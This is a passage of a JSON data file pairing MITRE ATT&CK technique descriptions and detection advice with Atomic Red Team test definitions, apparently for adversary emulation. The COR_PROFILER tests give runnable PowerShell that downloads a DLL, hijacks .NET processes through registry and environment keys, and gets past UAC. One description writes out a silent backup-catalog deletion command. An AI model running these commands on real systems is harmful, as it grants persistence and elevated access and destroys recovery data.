- "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a
will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc
, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet
deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc
may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc
.(Citation: abusing_com_reg)",
- "modified": "2022-05-20T17:41:16.112Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "MMC",
- "x_mitre_detection": "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc
or eventvwr.msc
. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Digital Certificate Validation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1564.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1",
- "type": "attack-pattern",
- "created": "2021-11-19T14:13:11.335Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.010",
- "url": "https://attack.mitre.org/techniques/T1564/010"
- },
- {
- "source_name": "Microsoft PEB 2021",
- "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb",
- "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021."
- },
- {
- "source_name": "Xpn Argue Like Cobalt 2019",
- "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/",
- "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021."
- },
- {
- "source_name": "Cobalt Strike Arguments 2019",
- "url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/",
- "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021."
- },
- {
- "source_name": "Nviso Spoof Command Line 2020",
- "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/",
- "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."
- },
- {
- "source_name": "FireEye FiveHands April 2021",
- "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html",
- "description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."
- },
- {
- "source_name": "Mandiant Endpoint Evading 2019",
- "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode",
- "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."
- }
- ],
- "modified": "2021-11-29T15:56:50.370Z",
- "name": "Process Argument Spoofing",
- "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory()
function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1574.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jesse Brown, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
- "type": "attack-pattern",
- "created": "2020-06-24T22:30:55.843Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.012",
- "url": "https://attack.mitre.org/techniques/T1574/012"
- },
- {
- "source_name": "Microsoft Profiling Mar 2017",
- "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview",
- "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."
- },
- {
- "source_name": "Microsoft COR_PROFILER Feb 2013",
- "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)",
- "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."
- },
- {
- "source_name": "RedCanary Mockingbird May 2020",
- "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
- "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
- },
- {
- "source_name": "Red Canary COR_PROFILER May 2020",
- "url": "https://redcanary.com/blog/cor_profiler-for-persistence/",
- "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."
- },
- {
- "source_name": "Almond COR_PROFILER Apr 2019",
- "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
- "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."
- },
- {
- "source_name": "GitHub OmerYa Invisi-Shell",
- "url": "https://github.com/OmerYa/Invisi-Shell",
- "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."
- },
- {
- "source_name": "subTee .NET Profilers May 2017",
- "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html",
- "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."
- }
- ],
- "modified": "2021-08-30T21:35:12.049Z",
- "name": "Hijack Execution Flow: COR_PROFILER",
- "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1574.012"
- },
- "atomic_tests": [
- {
- "name": "User scope COR_PROFILER",
- "auto_generated_guid": "9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a",
- "description": "Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unmanaged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "Write-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value #{file_name} -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n",
- "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell"
- }
- },
- {
- "name": "System Scope COR_PROFILER",
- "auto_generated_guid": "f373b482-48c8-4ce4-85ed-d40c8b3f7310",
- "description": "Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unmanaged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "Write-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\n",
- "cleanup_command": "Remove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Registry-free process scope COR_PROFILER",
- "auto_generated_guid": "79d57242-bbef-41db-b301-9d01d9f6e817",
- "description": "Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unamanged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '#{file_name}'\nPOWERSHELL -c 'Start-Sleep 1'\n",
- "cleanup_command": "$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n",
- "name": "powershell"
- }
- }
- ]
- }
- }
- },
- {
- "category": "privilege-escalation",
- "data": {
- "T1055.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
- "type": "attack-pattern",
- "created": "2020-01-14T17:18:32.126Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.011",
- "url": "https://attack.mitre.org/techniques/T1055/011"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
- "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
- "source_name": "Microsoft Window Classes"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
- "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft GetWindowLong function"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
- "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SetWindowLong function"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
- "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
- "source_name": "MalwareTech Power Loader Aug 2013"
- },
- {
- "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
- "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
- "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
- "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SendNotifyMessage function"
- }
- ],
- "modified": "2020-11-10T18:29:31.004Z",
- "name": "Extra Window Memory Injection",
- "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory
and CreateRemoteThread
.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1053.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Andrew Northern, @ex_raritas",
- "Bryan Campbell, @bry_campbell",
- "Zachary Abzug, @ZackDoesML",
- "Selena Larson, @selenalarson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
- "created": "2019-11-27T14:58:00.429Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.005",
- "url": "https://attack.mitre.org/techniques/T1053/005"
- },
- {
- "source_name": "ProofPoint Serpent",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain",
- "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."
- },
- {
- "source_name": "Twitter Leoloobeek Scheduled Task",
- "url": "https://twitter.com/leoloobeek/status/939248813465853953",
- "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."
- },
- {
- "source_name": "Microsoft Scheduled Task Events Win10",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
- "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
- },
- {
- "source_name": "TechNet Scheduled Task Events",
- "url": "https://technet.microsoft.com/library/dd315590.aspx",
- "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "TechNet Forum Scheduled Task Operational Setting",
- "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe
can not access tasks created with schtasks
or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)",
- "modified": "2022-04-14T20:59:17.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job: Scheduled Task",
- "x_mitre_detection": "Monitor process execution from the svchost.exe
in Windows 10 and the Windows Task Scheduler taskeng.exe
for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
